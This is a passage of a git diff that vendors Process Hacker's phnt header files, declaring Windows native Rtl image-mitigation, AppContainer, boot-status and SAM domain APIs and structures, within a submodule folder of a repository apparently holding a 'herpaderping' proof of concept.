RTL_IMAGE_MITIGATION_POLICY ForceRelocateImages; + RTL_IMAGE_MITIGATION_POLICY BottomUpRandomization; + RTL_IMAGE_MITIGATION_POLICY HighEntropyRandomization; +} RTL_IMAGE_MITIGATION_ASLR_POLICY, *PRTL_IMAGE_MITIGATION_ASLR_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockDynamicCode; +} RTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY, *PRTL_IMAGE_MITIGATION_DYNAMIC_CODE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY StrictHandleChecks; +} RTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY, *PRTL_IMAGE_MITIGATION_STRICT_HANDLE_CHECK_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockWin32kSystemCalls; +} RTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY, *PRTL_IMAGE_MITIGATION_SYSTEM_CALL_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisableExtensionPoints; +} RTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY, *PRTL_IMAGE_MITIGATION_EXTENSION_POINT_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY ControlFlowGuard; + RTL_IMAGE_MITIGATION_POLICY StrictControlFlowGuard; +} RTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY, *PRTL_IMAGE_MITIGATION_CONTROL_FLOW_GUARD_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockNonMicrosoftSignedBinaries; + RTL_IMAGE_MITIGATION_POLICY EnforceSigningOnModuleDependencies; +} RTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY, *PRTL_IMAGE_MITIGATION_BINARY_SIGNATURE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisableNonSystemFonts; +} RTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY, *PRTL_IMAGE_MITIGATION_FONT_DISABLE_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY BlockRemoteImageLoads; + RTL_IMAGE_MITIGATION_POLICY BlockLowLabelImageLoads; + RTL_IMAGE_MITIGATION_POLICY PreferSystem32; +} RTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY, *PRTL_IMAGE_MITIGATION_IMAGE_LOAD_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilter; + RTL_IMAGE_MITIGATION_POLICY EnableExportAddressFilterPlus; + RTL_IMAGE_MITIGATION_POLICY EnableImportAddressFilter; + RTL_IMAGE_MITIGATION_POLICY EnableRopStackPivot; + RTL_IMAGE_MITIGATION_POLICY EnableRopCallerCheck; + RTL_IMAGE_MITIGATION_POLICY EnableRopSimExec; + WCHAR EafPlusModuleList[512]; // 19H1 +} RTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY, *PRTL_IMAGE_MITIGATION_PAYLOAD_RESTRICTION_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY DisallowChildProcessCreation; +} RTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY, *PRTL_IMAGE_MITIGATION_CHILD_PROCESS_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_SEHOP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY Sehop; +} RTL_IMAGE_MITIGATION_SEHOP_POLICY, *PRTL_IMAGE_MITIGATION_SEHOP_POLICY; + +// rev +typedef struct _RTL_IMAGE_MITIGATION_HEAP_POLICY +{ + RTL_IMAGE_MITIGATION_POLICY TerminateOnHeapErrors; +} RTL_IMAGE_MITIGATION_HEAP_POLICY, *PRTL_IMAGE_MITIGATION_HEAP_POLICY; + +typedef enum _RTL_IMAGE_MITIGATION_OPTION_STATE +{ + RtlMitigationOptionStateNotConfigured, + RtlMitigationOptionStateOn, + RtlMitigationOptionStateOff +} RTL_IMAGE_MITIGATION_OPTION_STATE; + +// rev from PROCESS_MITIGATION_FLAGS +#define RTL_IMAGE_MITIGATION_FLAG_RESET 0x1 +#define RTL_IMAGE_MITIGATION_FLAG_REMOVE 0x2 +#define RTL_IMAGE_MITIGATION_FLAG_OSDEFAULT 0x4 +#define RTL_IMAGE_MITIGATION_FLAG_AUDIT 0x8 + +#if (PHNT_VERSION >= PHNT_REDSTONE3) + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryImageMitigationPolicy( + _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults + _In_ IMAGE_MITIGATION_POLICY Policy, + _In_ ULONG Flags, + _Inout_ PVOID Buffer, + _In_ ULONG BufferSize + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetImageMitigationPolicy( + _In_opt_ PWSTR ImagePath, // NULL for system-wide defaults + _In_ IMAGE_MITIGATION_POLICY Policy, + _In_ ULONG Flags, + _Inout_ PVOID Buffer, + _In_ ULONG BufferSize + ); + +#endif + +// session + +// rev +NTSYSAPI +ULONG +NTAPI +RtlGetCurrentServiceSessionId( + VOID + ); + +// private +NTSYSAPI +ULONG +NTAPI +RtlGetActiveConsoleId( + VOID + ); + +#if (PHNT_VERSION >= PHNT_REDSTONE) +// private +NTSYSAPI +ULONGLONG +NTAPI +RtlGetConsoleSessionForegroundProcessId( + VOID + ); +#endif + +// Appcontainer + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetTokenNamedObjectPath( + _In_ HANDLE Token, + _In_opt_ PSID Sid, + _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerNamedObjectPath( + _In_opt_ HANDLE Token, + _In_opt_ PSID AppContainerSid, + _In_ BOOLEAN RelativePath, + _Out_ PUNICODE_STRING ObjectPath // RtlFreeUnicodeString + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerParent( + _In_ PSID AppContainerSid, + _Out_ PSID* AppContainerSidParent // RtlFreeSid + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckSandboxedToken( + _In_opt_ HANDLE TokenHandle, + _Out_ PBOOLEAN IsSandboxed + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenCapability( + _In_opt_ HANDLE TokenHandle, + _In_ PSID CapabilitySidToCheck, + _Out_ PBOOLEAN HasCapability + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCapabilityCheck( + _In_opt_ HANDLE TokenHandle, + _In_ PUNICODE_STRING CapabilityName, + _Out_ PBOOLEAN HasCapability + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenMembership( + _In_opt_ HANDLE TokenHandle, + _In_ PSID SidToCheck, + _Out_ PBOOLEAN IsMember + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckTokenMembershipEx( + _In_opt_ HANDLE TokenHandle, + _In_ PSID SidToCheck, + _In_ ULONG Flags, // CTMF_VALID_FLAGS + _Out_ PBOOLEAN IsMember + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryTokenHostIdAsUlong64( + _In_ HANDLE TokenHandle, + _Out_ PULONG64 HostId // (WIN://PKGHOSTID) + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsParentOfChildAppContainer( + _In_ PSID ParentAppContainerSid, + _In_ PSID ChildAppContainerSid + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCapabilitySid( + _In_ PSID Sid + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsPackageSid( + _In_ PSID Sid + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidProcessTrustLabelSid( + _In_ PSID Sid + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsStateSeparationEnabled( + VOID + ); + +typedef enum _APPCONTAINER_SID_TYPE +{ + NotAppContainerSidType, + ChildAppContainerSidType, + ParentAppContainerSidType, + InvalidAppContainerSidType, + MaxAppContainerSidType +} APPCONTAINER_SID_TYPE, *PAPPCONTAINER_SID_TYPE; + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetAppContainerSidType( + _In_ PSID AppContainerSid, + _Out_ PAPPCONTAINER_SID_TYPE AppContainerSidType + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFlsAlloc( + _In_ PFLS_CALLBACK_FUNCTION Callback, + _Out_ PULONG FlsIndex + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFlsFree( + _In_ ULONG FlsIndex + ); + +typedef enum _STATE_LOCATION_TYPE +{ + LocationTypeRegistry, + LocationTypeFileSystem, + LocationTypeMaximum +} STATE_LOCATION_TYPE; + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlGetPersistedStateLocation( + _In_ PCWSTR SourceID, + _In_opt_ PCWSTR CustomValue, + _In_opt_ PCWSTR DefaultPath, + _In_ STATE_LOCATION_TYPE StateLocationType, + _Out_writes_bytes_to_opt_(BufferLengthIn, *BufferLengthOut) PWCHAR TargetPath, + _In_ ULONG BufferLengthIn, + _Out_opt_ PULONG BufferLengthOut + ); + +// msdn +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCloudFilesPlaceholder( + _In_ ULONG FileAttributes, + _In_ ULONG ReparseTag + ); + +// msdn +NTSYSAPI +BOOLEAN +NTAPI +RtlIsPartialPlaceholder( + _In_ ULONG FileAttributes, + _In_ ULONG ReparseTag + ); + +// msdn +NTSYSAPI +NTSTATUS +NTAPI +RtlIsPartialPlaceholderFileHandle( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN IsPartialPlaceholder + ); + +// msdn +NTSYSAPI +NTSTATUS +NTAPI +RtlIsPartialPlaceholderFileInfo( + _In_ PVOID InfoBuffer, + _In_ FILE_INFORMATION_CLASS InfoClass, + _Out_ PBOOLEAN IsPartialPlaceholder + ); + +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNonEmptyDirectoryReparsePointAllowed( + _In_ ULONG ReparseTag + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlAppxIsFileOwnedByTrustedInstaller( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN IsFileOwnedByTrustedInstaller + ); + +// rev +typedef struct _PS_PKG_CLAIM +{ + ULONGLONG Flags; + ULONGLONG Origin; +} PS_PKG_CLAIM, *PPS_PKG_CLAIM; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryPackageClaims( + _In_ HANDLE TokenHandle, + _Out_writes_bytes_to_opt_(*PackageSize, *PackageSize) PWSTR PackageFullName, + _Inout_opt_ PSIZE_T PackageSize, + _Out_writes_bytes_to_opt_(*AppIdSize, *AppIdSize) PWSTR AppId, + _Inout_opt_ PSIZE_T AppIdSize, + _Out_opt_ PGUID DynamicId, + _Out_opt_ PPS_PKG_CLAIM PkgClaim, + _Out_opt_ PULONG64 AttributesPresent + ); + +// Protected policies + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProtectedPolicy( + _In_ PGUID PolicyGuid, + _Out_ PULONG_PTR PolicyValue + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetProtectedPolicy( + _In_ PGUID PolicyGuid, + _In_ ULONG_PTR PolicyValue, + _Out_ PULONG_PTR OldPolicyValue + ); + +#if (PHNT_VERSION >= PHNT_REDSTONE) +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlIsMultiSessionSku( + VOID + ); +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE) +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlIsMultiUsersInSessionSku( + VOID + ); +#endif + +// private +typedef enum _RTL_BSD_ITEM_TYPE +{ + RtlBsdItemVersionNumber, + RtlBsdItemProductType, + RtlBsdItemAabEnabled, + RtlBsdItemAabTimeout, + RtlBsdItemBootGood, + RtlBsdItemBootShutdown, + RtlBsdSleepInProgress, + RtlBsdPowerTransition, + RtlBsdItemBootAttemptCount, + RtlBsdItemBootCheckpoint, + RtlBsdItemBootId, + RtlBsdItemShutdownBootId, + RtlBsdItemReportedAbnormalShutdownBootId, + RtlBsdItemErrorInfo, + RtlBsdItemPowerButtonPressInfo, + RtlBsdItemChecksum, + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE; + +// private +typedef struct _RTL_BSD_ITEM +{ + RTL_BSD_ITEM_TYPE Type; + PVOID DataBuffer; + ULONG DataLength; +} RTL_BSD_ITEM, *PRTL_BSD_ITEM; + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID + ); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlLockBootStatusData( + _Out_ PHANDLE FileHandle + ); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockBootStatusData( + _In_ HANDLE FileHandle + ); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + _In_ HANDLE FileHandle, + _In_ BOOLEAN Read, + _In_ RTL_BSD_ITEM_TYPE DataClass, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnLength + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckBootStatusIntegrity( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN Verified + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckPortableOperatingSystem( + _Out_ PBOOLEAN IsPortable // VOID + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetPortableOperatingSystem( + _In_ BOOLEAN IsPortable + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +NTSYSAPI +OS_DEPLOYEMENT_STATE_VALUES +NTAPI +RtlOsDeploymentState( + _Reserved_ _In_ ULONG Flags + ); + +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +NTSTATUS +NTAPI +RtlFindClosestEncodableLength( + _In_ ULONGLONG SourceLength, + _Out_ PULONGLONG TargetLength + ); + +#endif + +// Memory cache + +typedef NTSTATUS (NTAPI *PRTL_SECURE_MEMORY_CACHE_CALLBACK)( + _In_ PVOID Address, + _In_ SIZE_T Length + ); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterSecureMemoryCacheCallback( + _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterSecureMemoryCacheCallback( + _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback + ); + +// ros +NTSYSAPI +BOOLEAN +NTAPI +RtlFlushSecureMemoryCache( + _In_ PVOID MemoryCache, + _In_opt_ SIZE_T MemoryLength + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntsam.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntsam.h new file mode 100644 index 00000000..a323aa40 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntsam.h @@ -0,0 +1,1752 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTSAM_H +#define _NTSAM_H + +#define SAM_MAXIMUM_LOOKUP_COUNT (1000) +#define SAM_MAXIMUM_LOOKUP_LENGTH (32000) +#define SAM_MAX_PASSWORD_LENGTH (256) +#define SAM_PASSWORD_ENCRYPTION_SALT_LEN (16) + +typedef PVOID SAM_HANDLE, *PSAM_HANDLE; +typedef ULONG SAM_ENUMERATE_HANDLE, *PSAM_ENUMERATE_HANDLE; + +typedef struct _SAM_RID_ENUMERATION +{ + ULONG RelativeId; + UNICODE_STRING Name; +} SAM_RID_ENUMERATION, *PSAM_RID_ENUMERATION; + +typedef struct _SAM_SID_ENUMERATION +{ + PSID Sid; + UNICODE_STRING Name; +} SAM_SID_ENUMERATION, *PSAM_SID_ENUMERATION; + +typedef struct _SAM_BYTE_ARRAY +{ + ULONG Size; + _Field_size_bytes_(Size) PUCHAR Data; +} SAM_BYTE_ARRAY, *PSAM_BYTE_ARRAY; + +typedef struct _SAM_BYTE_ARRAY_32K +{ + ULONG Size; + _Field_size_bytes_(Size) PUCHAR Data; +} SAM_BYTE_ARRAY_32K, *PSAM_BYTE_ARRAY_32K; + +typedef SAM_BYTE_ARRAY_32K SAM_SHELL_OBJECT_PROPERTIES, *PSAM_SHELL_OBJECT_PROPERTIES; + +// Basic + +NTSTATUS +NTAPI +SamFreeMemory( + _In_ PVOID Buffer + ); + +NTSTATUS +NTAPI +SamCloseHandle( + _In_ SAM_HANDLE SamHandle + ); + +_Check_return_ +NTSTATUS +NTAPI +SamSetSecurityObject( + _In_ SAM_HANDLE ObjectHandle, + _In_ SECURITY_INFORMATION SecurityInformation, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor + ); + +_Check_return_ +NTSTATUS +NTAPI +SamQuerySecurityObject( + _In_ SAM_HANDLE ObjectHandle, + _In_ SECURITY_INFORMATION SecurityInformation, + _Outptr_ PSECURITY_DESCRIPTOR *SecurityDescriptor + ); + +_Check_return_ +NTSTATUS +NTAPI +SamRidToSid( + _In_ SAM_HANDLE ObjectHandle, + _In_ ULONG Rid, + _Outptr_ PSID *Sid + ); + +// Server + +#define SAM_SERVER_CONNECT 0x0001 +#define SAM_SERVER_SHUTDOWN 0x0002 +#define SAM_SERVER_INITIALIZE 0x0004 +#define SAM_SERVER_CREATE_DOMAIN 0x0008 +#define SAM_SERVER_ENUMERATE_DOMAINS 0x0010 +#define SAM_SERVER_LOOKUP_DOMAIN 0x0020 + +#define SAM_SERVER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + SAM_SERVER_CONNECT | \ + SAM_SERVER_INITIALIZE | \ + SAM_SERVER_CREATE_DOMAIN | \ + SAM_SERVER_SHUTDOWN | \ + SAM_SERVER_ENUMERATE_DOMAINS | \ + SAM_SERVER_LOOKUP_DOMAIN) + +#define SAM_SERVER_READ (STANDARD_RIGHTS_READ | \ + SAM_SERVER_ENUMERATE_DOMAINS) + +#define SAM_SERVER_WRITE (STANDARD_RIGHTS_WRITE | \ + SAM_SERVER_INITIALIZE | \ + SAM_SERVER_CREATE_DOMAIN | \ + SAM_SERVER_SHUTDOWN) + +#define SAM_SERVER_EXECUTE (STANDARD_RIGHTS_EXECUTE | \ + SAM_SERVER_CONNECT | \ + SAM_SERVER_LOOKUP_DOMAIN) + +// Functions + +_Check_return_ +NTSTATUS +NTAPI +SamConnect( + _In_opt_ PUNICODE_STRING ServerName, + _Out_ PSAM_HANDLE ServerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes + ); + +_Check_return_ +NTSTATUS +NTAPI +SamShutdownSamServer( + _In_ SAM_HANDLE ServerHandle + ); + +// Domain + +#define DOMAIN_READ_PASSWORD_PARAMETERS 0x0001 +#define DOMAIN_WRITE_PASSWORD_PARAMS 0x0002 +#define DOMAIN_READ_OTHER_PARAMETERS 0x0004 +#define DOMAIN_WRITE_OTHER_PARAMETERS 0x0008 +#define DOMAIN_CREATE_USER 0x0010 +#define DOMAIN_CREATE_GROUP 0x0020 +#define DOMAIN_CREATE_ALIAS 0x0040 +#define DOMAIN_GET_ALIAS_MEMBERSHIP 0x0080 +#define DOMAIN_LIST_ACCOUNTS 0x0100 +#define DOMAIN_LOOKUP 0x0200 +#define DOMAIN_ADMINISTER_SERVER 0x0400 + +#define DOMAIN_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + DOMAIN_READ_OTHER_PARAMETERS | \ + DOMAIN_WRITE_OTHER_PARAMETERS | \ + DOMAIN_WRITE_PASSWORD_PARAMS | \ + DOMAIN_CREATE_USER | \ + DOMAIN_CREATE_GROUP | \ + DOMAIN_CREATE_ALIAS | \ + DOMAIN_GET_ALIAS_MEMBERSHIP | \ + DOMAIN_LIST_ACCOUNTS | \ + DOMAIN_READ_PASSWORD_PARAMETERS | \ + DOMAIN_LOOKUP | \ + DOMAIN_ADMINISTER_SERVER) + +#define DOMAIN_READ (STANDARD_RIGHTS_READ | \ + DOMAIN_GET_ALIAS_MEMBERSHIP | \ + DOMAIN_READ_OTHER_PARAMETERS) + +#define DOMAIN_WRITE (STANDARD_RIGHTS_WRITE | \ + DOMAIN_WRITE_OTHER_PARAMETERS | \ + DOMAIN_WRITE_PASSWORD_PARAMS | \ + DOMAIN_CREATE_USER | \ + DOMAIN_CREATE_GROUP | \ + DOMAIN_CREATE_ALIAS | \ + DOMAIN_ADMINISTER_SERVER) + +#define DOMAIN_EXECUTE (STANDARD_RIGHTS_EXECUTE | \ + DOMAIN_READ_PASSWORD_PARAMETERS | \ + DOMAIN_LIST_ACCOUNTS | \ + DOMAIN_LOOKUP) + +#define DOMAIN_PROMOTION_INCREMENT { 0x0, 0x10 } +#define DOMAIN_PROMOTION_MASK { 0x0, 0xfffffff0 } + +// SamQueryInformationDomain/SamSetInformationDomain types + +typedef enum _DOMAIN_INFORMATION_CLASS +{ + DomainPasswordInformation = 1, + DomainGeneralInformation, + DomainLogoffInformation, + DomainOemInformation, + DomainNameInformation, + DomainReplicationInformation, + DomainServerRoleInformation, + DomainModifiedInformation, + DomainStateInformation, + DomainUasInformation, + DomainGeneralInformation2, + DomainLockoutInformation, + DomainModifiedInformation2 +} DOMAIN_INFORMATION_CLASS; + +typedef enum _DOMAIN_SERVER_ENABLE_STATE +{ + DomainServerEnabled = 1, + DomainServerDisabled +} DOMAIN_SERVER_ENABLE_STATE, *PDOMAIN_SERVER_ENABLE_STATE; + +typedef enum _DOMAIN_SERVER_ROLE +{ + DomainServerRoleBackup = 2, + DomainServerRolePrimary +} DOMAIN_SERVER_ROLE, *PDOMAIN_SERVER_ROLE; + +#include +typedef struct _DOMAIN_GENERAL_INFORMATION +{ + LARGE_INTEGER ForceLogoff; + UNICODE_STRING OemInformation; + UNICODE_STRING DomainName; + UNICODE_STRING ReplicaSourceNodeName; + LARGE_INTEGER DomainModifiedCount; + DOMAIN_SERVER_ENABLE_STATE DomainServerState; + DOMAIN_SERVER_ROLE DomainServerRole; + BOOLEAN UasCompatibilityRequired; + ULONG UserCount; + ULONG GroupCount; + ULONG AliasCount; +} DOMAIN_GENERAL_INFORMATION, *PDOMAIN_GENERAL_INFORMATION; +#include + +#include +typedef struct _DOMAIN_GENERAL_INFORMATION2 +{ + DOMAIN_GENERAL_INFORMATION I1; + LARGE_INTEGER LockoutDuration; // delta time + LARGE_INTEGER LockoutObservationWindow; // delta time + USHORT LockoutThreshold; +} DOMAIN_GENERAL_INFORMATION2, *PDOMAIN_GENERAL_INFORMATION2; +#include + +typedef struct _DOMAIN_UAS_INFORMATION +{ + BOOLEAN UasCompatibilityRequired; +} DOMAIN_UAS_INFORMATION; + +#ifndef _DOMAIN_PASSWORD_INFORMATION_DEFINED // defined in ntsecapi.h +#define _DOMAIN_PASSWORD_INFORMATION_DEFINED + +typedef struct _DOMAIN_PASSWORD_INFORMATION +{ + USHORT MinPasswordLength; + USHORT PasswordHistoryLength; + ULONG PasswordProperties; + LARGE_INTEGER MaxPasswordAge; + LARGE_INTEGER MinPasswordAge; +} DOMAIN_PASSWORD_INFORMATION, *PDOMAIN_PASSWORD_INFORMATION; + +// PasswordProperties flags + +#define DOMAIN_PASSWORD_COMPLEX 0x00000001L +#define DOMAIN_PASSWORD_NO_ANON_CHANGE 0x00000002L +#define DOMAIN_PASSWORD_NO_CLEAR_CHANGE 0x00000004L +#define DOMAIN_LOCKOUT_ADMINS 0x00000008L +#define DOMAIN_PASSWORD_STORE_CLEARTEXT 0x00000010L +#define DOMAIN_REFUSE_PASSWORD_CHANGE 0x00000020L +#define DOMAIN_NO_LM_OWF_CHANGE 0x00000040L + +#endif + +typedef enum _DOMAIN_PASSWORD_CONSTRUCTION +{ + DomainPasswordSimple = 1, + DomainPasswordComplex +} DOMAIN_PASSWORD_CONSTRUCTION; + +typedef struct _DOMAIN_LOGOFF_INFORMATION +{ + LARGE_INTEGER ForceLogoff; +} DOMAIN_LOGOFF_INFORMATION, *PDOMAIN_LOGOFF_INFORMATION; + +typedef struct _DOMAIN_OEM_INFORMATION +{ + UNICODE_STRING OemInformation; +} DOMAIN_OEM_INFORMATION, *PDOMAIN_OEM_INFORMATION; + +typedef struct _DOMAIN_NAME_INFORMATION +{ + UNICODE_STRING DomainName; +} DOMAIN_NAME_INFORMATION, *PDOMAIN_NAME_INFORMATION; + +typedef struct _DOMAIN_SERVER_ROLE_INFORMATION +{ + DOMAIN_SERVER_ROLE DomainServerRole; +} DOMAIN_SERVER_ROLE_INFORMATION, *PDOMAIN_SERVER_ROLE_INFORMATION; + +typedef struct _DOMAIN_REPLICATION_INFORMATION +{ + UNICODE_STRING ReplicaSourceNodeName; +} DOMAIN_REPLICATION_INFORMATION, *PDOMAIN_REPLICATION_INFORMATION; + +typedef struct _DOMAIN_MODIFIED_INFORMATION +{ + LARGE_INTEGER DomainModifiedCount; + LARGE_INTEGER CreationTime; +} DOMAIN_MODIFIED_INFORMATION, *PDOMAIN_MODIFIED_INFORMATION; + +typedef struct _DOMAIN_MODIFIED_INFORMATION2 +{ + LARGE_INTEGER DomainModifiedCount; + LARGE_INTEGER CreationTime; + LARGE_INTEGER ModifiedCountAtLastPromotion; +} DOMAIN_MODIFIED_INFORMATION2, *PDOMAIN_MODIFIED_INFORMATION2; + +typedef struct _DOMAIN_STATE_INFORMATION +{ + DOMAIN_SERVER_ENABLE_STATE DomainServerState; +} DOMAIN_STATE_INFORMATION, *PDOMAIN_STATE_INFORMATION; + +typedef struct _DOMAIN_LOCKOUT_INFORMATION +{ + LARGE_INTEGER LockoutDuration; // delta time + LARGE_INTEGER LockoutObservationWindow; // delta time + USHORT LockoutThreshold; // zero means no lockout +} DOMAIN_LOCKOUT_INFORMATION, *PDOMAIN_LOCKOUT_INFORMATION; + +// SamQueryDisplayInformation types + +typedef enum _DOMAIN_DISPLAY_INFORMATION +{ + DomainDisplayUser = 1, + DomainDisplayMachine, + DomainDisplayGroup, + DomainDisplayOemUser, + DomainDisplayOemGroup, + DomainDisplayServer +} DOMAIN_DISPLAY_INFORMATION, *PDOMAIN_DISPLAY_INFORMATION; + +typedef struct _DOMAIN_DISPLAY_USER +{ + ULONG Index; + ULONG Rid; + ULONG AccountControl; + UNICODE_STRING LogonName; + UNICODE_STRING AdminComment; + UNICODE_STRING FullName; +} DOMAIN_DISPLAY_USER, *PDOMAIN_DISPLAY_USER; + +typedef struct _DOMAIN_DISPLAY_MACHINE +{ + ULONG Index; + ULONG Rid; + ULONG AccountControl; + UNICODE_STRING Machine; + UNICODE_STRING Comment; +} DOMAIN_DISPLAY_MACHINE, *PDOMAIN_DISPLAY_MACHINE; + +typedef struct _DOMAIN_DISPLAY_GROUP +{ + ULONG Index; + ULONG Rid; + ULONG Attributes; + UNICODE_STRING Group; + UNICODE_STRING Comment; +} DOMAIN_DISPLAY_GROUP, *PDOMAIN_DISPLAY_GROUP; + +typedef struct _DOMAIN_DISPLAY_OEM_USER +{ + ULONG Index; + OEM_STRING User; +} DOMAIN_DISPLAY_OEM_USER, *PDOMAIN_DISPLAY_OEM_USER; + +typedef struct _DOMAIN_DISPLAY_OEM_GROUP +{ + ULONG Index; + OEM_STRING Group; +} DOMAIN_DISPLAY_OEM_GROUP, *PDOMAIN_DISPLAY_OEM_GROUP; + +// SamQueryLocalizableAccountsInDomain types + +typedef enum _DOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION +{ + DomainLocalizableAccountsBasic = 1, +} DOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION, *PDOMAIN_LOCALIZABLE_ACCOUNTS_INFORMATION; + +typedef struct _DOMAIN_LOCALIZABLE_ACCOUNTS_ENTRY +{ + ULONG Rid; + SID_NAME_USE Use; + UNICODE_STRING Name; + UNICODE_STRING AdminComment; +} DOMAIN_LOCALIZABLE_ACCOUNT_ENTRY, *PDOMAIN_LOCALIZABLE_ACCOUNT_ENTRY; + +typedef struct _DOMAIN_LOCALIZABLE_ACCOUNTS +{ + ULONG Count; + _Field_size_(Count) DOMAIN_LOCALIZABLE_ACCOUNT_ENTRY *Entries; +} DOMAIN_LOCALIZABLE_ACCOUNTS_BASIC, *PDOMAIN_LOCALIZABLE_ACCOUNTS_BASIC; + +typedef union _DOMAIN_LOCALIZABLE_INFO_BUFFER +{ + DOMAIN_LOCALIZABLE_ACCOUNTS_BASIC Basic; +} DOMAIN_LOCALIZABLE_ACCOUNTS_INFO_BUFFER, *PDOMAIN_LOCALIZABLE_ACCOUNTS_INFO_BUFFER; + +// Functions + +_Check_return_ 